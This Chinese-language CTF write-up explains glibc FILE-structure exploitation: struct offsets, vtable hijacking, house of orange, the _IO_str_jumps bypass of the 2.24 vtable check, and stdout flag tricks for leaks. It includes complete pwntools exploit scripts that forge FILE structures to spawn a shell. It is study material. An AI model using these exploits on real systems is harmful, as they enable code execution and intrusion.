前置知识 细节知识可以看https://www.siriuswhiter.tk/2019/07/08/io-file-%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/
FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,64位程序下其偏移为0x60,链表头部用_IO_list_all指针表示。
图示
所以新建的文件句柄的chains会指向stderr
IO_file结构体外面还被一个IO_FILE_plus结构体包裹着,其定义如下:
struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; }
输出方法,eg:1 p *(struct _IO_FILE_plus *) stdout
IO_FILE 结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; /* 偏移: 0x68-0x70 */ int _fileno; /* 文件描述符 fd */ #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
偏移记录 方便在使用时查看偏移进行伪造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 _IO_FILE_plus_size = { 'i386':0x98, 'amd64':0xe0 } _IO_FILE_plus = { 'i386':{ 0x0:'_flags', 0x4:'_IO_read_ptr', 0x8:'_IO_read_end', 0xc:'_IO_read_base', 0x10:'_IO_write_base', 0x14:'_IO_write_ptr', 0x18:'_IO_write_end', 0x1c:'_IO_buf_base', 0x20:'_IO_buf_end', 0x24:'_IO_save_base', 0x28:'_IO_backup_base', 0x2c:'_IO_save_end', 0x30:'_markers', 0x34:'_chain', 0x38:'_fileno', 0x3c:'_flags2', 0x40:'_old_offset', 0x44:'_cur_column', 0x46:'_vtable_offset', 0x47:'_shortbuf', 0x48:'_lock', 0x4c:'_offset', 0x54:'_codecvt', 0x58:'_wide_data', 0x5c:'_freeres_list', 0x60:'_freeres_buf', 0x64:'__pad5', 0x68:'_mode', 0x6c:'_unused2', 0x94:'vtable' }, 'amd64':{ 0x0:'_flags', 0x8:'_IO_read_ptr', 0x10:'_IO_read_end', 0x18:'_IO_read_base', 0x20:'_IO_write_base', 0x28:'_IO_write_ptr', 0x30:'_IO_write_end', 0x38:'_IO_buf_base', 0x40:'_IO_buf_end', 0x48:'_IO_save_base', 0x50:'_IO_backup_base', 0x58:'_IO_save_end', 0x60:'_markers', 0x68:'_chain', 0x70:'_fileno', 0x74:'_flags2', 0x78:'_old_offset', 0x80:'_cur_column', 0x82:'_vtable_offset', 0x83:'_shortbuf', 0x88:'_lock', 0x90:'_offset', 0x98:'_codecvt', 0xa0:'_wide_data', 0xa8:'_freeres_list', 0xb0:'_freeres_buf', 0xb8:'__pad5', 0xc0:'_mode', 0xc4:'_unused2', 0xd8:'vtable' } }
IO_jump_t表结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); };
常用对应iofile函数 1 2 3 4 5 fread -> __xsgetn -> __doallocate -> __stat -> __underflow -> __read fwrite -> __xsputn -> __docallocate -> __overflow -> __write fclose -> __finish -> __overflow / -> __fclose //根据标志位来改变模式 malloc_printerr -> __overflow exit -> _setbuf
利用思路 在源码分析中我们知道io相关操作最后会调用vtable中的函数,所以利用方法就是修改vtable中的值,或者是实现对整个FILE结构体的伪造来修改虚表,当然本质上没有太大的区别。
利用演示 还是使用下how2heap上的例子,这里是结合了house of orange,可以跟着源码调试理解。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // 首先分配一个 0x400 的 chunk p1 = malloc(0x400-16); // 拿到 top chunk的地址 top = (size_t *) ( (char *) p1 + 0x400 - 16); // 修改 top chunk 的 size top[1] = 0xc01; // 触发 syscall 的 _int_free, top_chunk 放到了 unsort bin p2 = malloc(0x1000); // 根据 fd 指针的偏移计算 io_list_all 的地址 io_list_all = top[2] + 0x9a8; // 修改 top_chunk 的 bk 为 io_list_all - 0x10 , 后面会触发 top[3] = io_list_all - 0x10; /* 设置 fp 指针指向位置 开头 为 /bin/sh */ memcpy( ( char *) top, "/bin/sh\x00", 8); // 修改 top chunk 的 大小 为 0x60 top[1] = 0x61; /* 为了可以正常调用 overflow() ,需要满足一些条件 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base */ _IO_FILE *fp = (_IO_FILE *) top; fp->_mode = 0; fp->_IO_write_base = (char *) 2; fp->_IO_write_ptr = (char *) 3; // 设置虚表 size_t *jump_table = &top[12]; // controlled memory jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8 // 再次 malloc, fastbin, smallbin都找不到需要的大小,会遍历 unsort bin 把它们添加到对应的 bins 中去 // 之前已经把 top->bk 设置为 io_list_all - 0x10, 所以会把 io_list_all 的值 设置为 fd, // 也就是 main_arena+88 // _IO_FILE_plus + 0x68 --> _china , main_arena+88 + 0x68 为 smallbin[5], 块大小为 0x60 // 所以要把 top的 size 设置为 0x60 malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; }
可以发现,实际上在利用时是将top chunk放入unsorted bin中之后将其作为FILE结构体,并将虚表设置在了FILE结构体中,最后触发malloc_printerr,内部调用libc_message,再内部调用abort,abort中调用fflush即_IO_flush_all_lockp,其中调用 OVERFLOW时调用 vtable中的 __overflow,触发system(‘/bin/sh’)。
当然利用方法不止这一种,也能够使程序去调用其他函数getshell。
利用实例 task_challenge1 方向 控制fp指针伪造FILE 与 vtable,因为fclose时调用vtable中的_finish,所以将其覆盖为system
伪造的FILE结构体前四个字节需要满足 flags & is_filebuf 即 flags & 0x2000为0,会直接调用_io_finish 0xffffdfff & 0x2000 = 0
1 2 3 4 5 6 7 8 9 10 11 12 #define _IO_IS_FILEBUF 0x2000 if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp); _IO_acquire_lock (fp); if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp); else status = fp->_flags & _IO_ERR_SEEN ? -1 : 0; _IO_release_lock (fp); _IO_FINISH (fp);
题目 一道iofile练手题,与pwnable.tw上那道有些相似,可以输入,输出,退出
输入直接调用gets,在bss段,可以覆盖打开文件的指针,伪造结构体可以一块进行 退出会调用fclose关闭文件1 2 3 4 5 .bss:00000000006010C0 ; char s[256] .bss:00000000006010C0 s db 100h dup(?) ; DATA XREF: get+4↑o .bss:00000000006010C0 ; put+4↑o .bss:00000000006011C0 ; FILE *stream .bss:00000000006011C0 stream dq ? ; DATA XREF: exits+4↑r
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #!/usr/bin/env python2 # -*- coding:utf-8 -*- import sys from pwn import * #context.log_level = 'debug' #context.terminal = ['gnome-terminal','-x','bash','-c'] if len(sys.argv) > 1: local = 0 else: local = 1 if local: sh = process('./task_challenge1') elf = ELF('./task_challenge1') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: sh = remote('','') elf = ELF('task_challenge1') #libc=ELF('') buf_addr = 0x6010c0 system = 0x400897 fake_file = p32(0xffffdfff)+';/bin/sh\x00' fake_file = fake_file.ljust(0xd8,'\0') vtable = buf_addr+0xe0 fake_file += p64(vtable) pay = fake_file pay += p64(0)*2 pay += p64(system) #vtable finish , fclose will call this func. pay = pay.ljust(0x100,'\0') pay += p64(buf_addr) sh.sendlineafter('>','1') sh.sendline(pay) #gdb.attach(sh) #sh.recv() #sh.sendline('3') #exits() sh.interactive()
house of orange 方向 就是演示代码的实际利用。
malloc_printerr 会调用_io_overflow 伪造被放入unsorted bin中的top chunk为FILE 结构体,使之能够绕过检查进入_IO_OVERFLOW (fp, EOF)
1 2 3 4 5 6 7 8 9 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) //需要bypass的条件 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) //改 _IO_OVERFLOW 为 system 劫持程序流! result = EOF;
即需要满足任意一种1 2 3 4 5 6 1.fp->_mode <= 0 2.fp->_IO_write_ptr > fp->_IO_write_base 或 1._IO_vtable_offset (fp) == 0 2.fp->_mode > 0 3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
题目 house of orange 的开山之作,因而之后这种利用方法就叫做house of orange 题目可以 build ,upgrade ,see build 会创建三个chunk,一个保存其中两个的指针,一个保存大小与颜色,最后为用户自定义大小不大于0x1000的chunk。 upgrade 时没有考虑build时的大小,所以会直接溢出 see 正常展示,后面会用来泄露
思路 没有free,就要创造free的条件,利用溢出修改top chunk头,使得再次申请时因为top chunk大小不够而将其free掉。
后面申请largebin 大小的chunk使之从中分割来泄露libc 及 heap地址
利用unsorted bin attack 将_IO_list_all修改为main_arena+0x58,同时old top chunk 会被分入small bin中
再分配chunk 触发malloc_printerr遍历_IO_list_all调用_IO_OVERFLOW函数触发伪造的FILE结构体中指针指向的system
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 #!/usr/bin/env python2 # -*- coding:utf-8 -*- import sys from pwn import * #context.log_level = 'debug' #context.terminal = ['gnome-terminal','-x','bash','-c'] if len(sys.argv) > 1: local = 0 else: local = 1 if local: sh = process('./houseoforange') elf = ELF('./houseoforange') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: sh = remote('','') elf = ELF('./houseoforange') #libc=ELF('') def build(size,name,price,color): sh.recvuntil(":") sh.sendline("1") sh.recvuntil(":") sh.sendline(str(size)) sh.recvuntil(":") sh.send(name) sh.recvuntil(":") sh.sendline(str(price)) sh.recvuntil(":") sh.sendline(str(color)) def see(): sh.recvuntil(":") sh.sendline("2") def upgrade(size,name,price,color): sh.recvuntil(":") sh.sendline("3") sh.recvuntil(":") sh.sendline(str(size)) sh.recvuntil(":") sh.send(name) sh.recvuntil(":") sh.sendline(str(price)) sh.recvuntil(":") sh.sendline(str(color)) build(0x20,'1',20,1) pay = 'a'*0x20+p64(0)+p64(0x21)+'b'*0x10+p64(0)+p64(0xf91) upgrade(len(pay),pay,20,1) #trigger _sys_malloc build(0x1000,'2',20,2) build(0x400,'3'*8,20,3) see() sh.recvuntil('3'*8) libc.base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\0'))-0x3c5188 print hex(libc.base) io_list_all = libc.base + libc.symbols['_IO_list_all'] print hex(io_list_all) system = libc.base + libc.symbols['system'] print hex(system) upgrade(0x400,'4'*16,20,4) see() sh.recvuntil('4'*16) heap_base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\0'))-0xd0 print hex(heap_base) pay = 'e'*0x400 pay += p64(0)+p64(0x21)+p32(1)+p32(0x14)+p64(0) # mode >0 && wide_data->write_ptr > wide_data->write_base && vtable_offset == 0 fake_file = '/bin/sh\x00'+p64(0x61) fake_file += p64(0xdeadbeef) + p64(io_list_all-0x10) #unsorted bin attack fake_file = fake_file.ljust(0xa0,'\x00') fake_file += p64(heap_base+0x4e0) #wide_data fake_file = fake_file.ljust(0xc0,'\x00') fake_file += p64(1) # mode # write_base < write_ptr && mode <=0 fake_file2 = '/bin/sh\x00'+p64(0x61) fake_file2 += p64(0xdeadbeef) + p64(io_list_all-0x10) fake_file2 += p64(0) + p64(1) # write_base & write_ptr fake_file2 = fake_file2.ljust(0xc0,'\x00') fake_file2 += p64(0) # mode pay += fake_file # fake_file & fake_file2 对应着两种绕过检查 pay += p64(0) + p64(0) pay += p64(heap_base+0x610) #vtable pay += p64(0)*2+p64(system)*10 upgrade(0x800,pay,20,5) #gdb.attach(sh) sh.sendline('1') sh.interactive()
ciscn_2019_n_7 华北赛区的一道半决赛题
题目 三个功能 add edit show add只能使用一次,会将name 和 指针保存在堆中,且获取name的时候会有八个字节的溢出,刚好可以覆盖指针, edit会先修改name ,再根据保存的指针来修改内存值,所以可以任意地址写 另:输入666可以得到puts的实际地址,因此可以泄露libc
方向 666 泄露libc,add或edit来修改指针,原计划修改malloc_hook为onegadget,但是鉴于在add之后不再有malloc 或者free,因此不可行。 很自然的想到修改IO_file 虚表来使程序退出时能够触发来getshell。
exp
2.24 check 绕过 前面已经知道从2.24开始添加了对虚表的检查,使得没有办法任意地址伪造vtable。所以有了一些不用伪造虚表的利用办法
_IO_buf_base & _IO_buf_end 再调用相关stdin的函数如——read , scanf等函数时,会对__IO_stdin 的 _IO_buf_base ,_IO_buf_end, _IO_read_ptr, _IO_read_base, _IO_read_end 进行初始化,因为底层调用的malloc,所以一般都会分配到堆里。
可以随便写个小程序测试下1 2 3 4 5 6 7 8 9 10 #include<stdio.h> int main(){ char *ptr = malloc(0x20); int a; scanf("%d",&a); printf("%d",a); free(ptr); return 0; }
加上调试符号编译,scanf过后,可以看到堆中添加了一个大小为0x411的chunk,这个chunk就是开辟的缓冲区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 0x602000 FASTBIN { prev_size = 0, size = 49, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x602030 PREV_INUSE { prev_size = 0, size = 1041, fd = 0xa363534333231, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x602440 PREV_INUSE { prev_size = 0, size = 134081, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } > p *(struct _IO_FILE_plus *) stdin $3 = { file = { _flags = -72539512, _IO_read_ptr = 0x602046 "\n", _IO_read_end = 0x602047 "", _IO_read_base = 0x602040 "123456\n", _IO_write_base = 0x602040 "123456\n", _IO_write_ptr = 0x602040 "123456\n", _IO_write_end = 0x602040 "123456\n", _IO_buf_base = 0x602040 "123456\n", _IO_buf_end = 0x602440 "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x7ffff7dd7770 <_IO_stdfile_0_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7ffff7dd59a0 <_IO_wide_data_0>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7dd2440 <__GI__IO_file_jumps> }
例如我们在使用scanf对栈中的临时变量赋值时,作为缓冲区,数据也会在这边被同步保存,因而如果能够控制_IO_buf_base指针,就能够实现任意地址写。
同理printf等也会开辟输出缓冲区,通过修改也能够做到任意地址读。
_IO_str_jumps libc不止有_IO_file_jumps这个虚表,还有_IO_str_jumps 与 _IO_wstr_jumps等虚表,一般前者更好利用 所以将伪造的结构体vtable指针指向这个虚表,再对其进行利用
_IO_str_jumps 定义于/libio/strops.c中1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
一般可以利用_IO_str_finish 与 _IO_str_overflow,同时也是前者更方便利用,定义如下
1 2 3 4 5 6 7 8 void _IO_str_finish (FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); # call qword ptr [fp+0E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); }
_IO_str_finish需要满足1 2 3 4 5 6 7 _flags = (binsh_in_libc + 0x10) & ~1 _IO_buf_base = binsh_addr _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_finish - 0x18 fp+0xe8 -> system_addr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 int _IO_str_overflow (FILE *fp, int c) { int flush_only = c == EOF; size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // step 1 return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); free (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; } memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow)
_IO_str_overflow需要满足1 2 3 4 5 6 7 8 _flags = 0 _IO_write_base = 0 _IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1 _IO_buf_end = (binsh_in_libc_addr -100) / 2 _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_jumps - 0x18
利用实例2 echo from your heart 方向 有点迷/尝试使用的fake_file2也没有成功,在unlink的时候就中断了。
_flags = 0 _IO_write_base < _IO_write_ptr _IO_buf_base = binsh _mode <= 0 vtable = _IO_str_jumps - 8 fp+0xe8 -> system_addr
题目 基本上就是那个hctf中的printf,程序执行流基本一致
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #!/usr/bin/env python2 # -*- coding:utf-8 -*- import sys from pwn import * #context.log_level = 'debug' #context.terminal = ['gnome-terminal','-x','bash','-c'] if len(sys.argv) > 1: local = 0 else: local = 1 if local: sh = process('./echo_from_your_heart') elf = ELF('./echo_from_your_heart') libc = ELF('/glibc/glibc-2.24/debug_x64/lib/libc-2.24.so') else: sh = remote('','') elf = ELF('./echo_from_your_heart') #libc=ELF('') def get(size,word): sh.sendlineafter('word: ',str(size)) sh.sendlineafter('word: ',word) get(0x20,"%lx."*8+"%lx") sh.recvuntil('echo: ') for i in range(8): sh.recvuntil('.') #print sh.recv() libc.base = int('0x'+sh.recvuntil('\n',drop=True),16) - 0x1fcc9 print hex(libc.base) io_list_all = libc.base + libc.symbols['_IO_list_all'] system = libc.base + libc.symbols['system'] binsh = libc.base + libc.search('/bin/sh\x00').next() io_str_jumps = libc.base + libc.symbols['_IO_str_jumps'] success("binsh_addr: "+hex(binsh)) #sh.recv() get(0x20,'a'*0x20+p64(0)+p64(0xfa1)) get(0x1000,'bbbb') #gdb.attach(sh) fake_file = p64(0)+p64(0x61) fake_file += p64(0)+p64(io_list_all-0x10) # read_end & read_base fake_file += p64(2)+p64(3) # write_base < write_ptr fake_file += p64(0)+p64(binsh) # write_end & buf_base fake_file += '\0'*0x98#fake_file.ljust(0xd8,'\0') # use ljust will be detected why? pay = fake_file pay += p64(io_str_jumps-8) # vtable_ptr pay += p64(0) + p64(system) fake_file2 = p64(0)+p64(0x61) fake_file2 += p64(0)*2 fake_file2 += p64(0)+p64((binsh-100)/2+1) # write_base & write_ptr fake_file2 += p64(0)*2 fake_file2 += p64((binsh-100)/2) # buf_end fake_file2 += '\0'*0x60 fake_file2 += p64(2)+p64(3) # freeres_list & freeres_buf fake_file2 += p64(0)*0x20 #gdb.attach(sh) pay2 = fake_file2 pay2 += p64(io_str_jumps-0x18) get(0x10,'d' * 0x10 + pay) #gdb.attach(sh) #get(0x20,'a'*0x20+fake_file) sleep(1) sh.sendlineafter('word: ','20') #gdb.attach(sh) sh.interactive()
利用实例3 利用 _IO_2_1_stdout_ 泄露信息
原理 _flags 标志了FILE的一些行为,对其进行构造可以帮助我们进行泄露
其中高两位字节是_IO_magic1 2 3 #define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */ #define _IO_MAGIC_MASK 0xFFFF0000
而低二位字节为比特级的标志位,低位到高位规则如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */ #define _IO_UNBUFFERED 2 #define _IO_NO_READS 4 /* Reading not allowed */ #define _IO_NO_WRITES 8 /* Writing not allowd */ #define _IO_EOF_SEEN 0x10 #define _IO_ERR_SEEN 0x20 #define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */ #define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/ #define _IO_IN_BACKUP 0x100 #define _IO_LINE_BUF 0x200 #define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */ #define _IO_CURRENTLY_PUTTING 0x800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 #define _IO_BAD_SEEN 0x4000 #define _IO_USER_LOCK 0x8000
因为前面已经分析了源码,这里就不细节分析了,提取相关的需要绕过部分讲解即可。因为是要利用_IO_2_1_stdout_来泄露,所以要修改的也是这个函数。
stdout 的_flags一般是:0x00000000fbad2887,根据标志位对应可以看到是1 _IO_MAGIC|_IO_IS_FILEBUF|_IO_CURRENTLY_PUTTING|_IO_LINKED|_IO_NO_READS | _IO_UNBUFFERED |_IO_USER_BUF
输出时初始调用_IO_new_file_xsputn函数,该函数调用_IO_new_file_overflow,在这个函数里
先检查是否有_IO_NO_WRITE标志位,没有的话直接报错退出,所以该位需要为0
1 2 3 4 5 6 if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; }
在这里又判断了_IO_CURRENTLY_PUTTING标志位,目的是查看是否需要分配缓冲区,因为一般分配过缓冲区的话该位就是1,所以一般设置为1
1 2 3 4 5 6 7 8 if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) { /* Allocate a buffer if needed. */ if (f->_IO_write_base == NULL) { _IO_doallocbuf (f); _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); }
然后在即将调用_IO_do_write函数时
检查了_IO_UNBUFFERED标志位与_IO_LINE_BUF标志位,不过是或,即二者有一个就可1 2 3 4 5 if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n')) if (_IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) == EOF) return EOF;
跟进到new_do_write函数后
检查了_IO_IS_APPENDING标志位或fp->_IO_read_end != fp->_IO_write_base 所以令_IO_IS_APPENDING为1或_IO_read_end==_IO_write_base即可,否则的话就没有输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (fp->_flags & _IO_IS_APPENDING) /* On a system without a proper O_APPEND implementation, you would need to sys_seek(0, SEEK_END) here, but is not needed nor desirable for Unix- or Posix-like systems. Instead, just indicate that offset (before and after) is unpredictable. */ fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp->_offset = new_pos; } if (fp->_cur_column && count) fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
所以稍微总结下要注意的标志位,利用时也是注意这几个即可
_IO_NO_WRITE = 0 _IO_CURRENTLY_PUTTING = 1 _IO_UNBUFFERED = 1 || _IO_LINE_BUF = 1 // 这两个好像不需要构造,没有特别理解,挖坑 _IO_IS_APPENDING = 1 || _IO_read_end==_IO_write_base
利用 2.23 等没有tcache利用unsorted bin在fastbin的chunk的fd指针上覆盖出main_arena附近的地址,然后利用部分地址覆盖对stdout地址进行爆破 (一般是半个字节,1/16的概率),然后尝试将fastbin分配到stdout处即可,因为一般的布局来讲,stdout上面是stderr,其中有0x7f开头的地址,通过偏移进行设计即可
2.27 等有tcache的版本,也是利用unsorted bin在tcache的fd上覆盖出main_arena附近的地址,部分地址覆盖完之后尝试将其分配出去即可,因为低版本的tcache很少检查size,所以可能会更方便点。
题目 https://siriuswhiter.github.io/2019/07/30/ciscn-2019-%E5%86%B3%E8%B5%9Bpwn/#6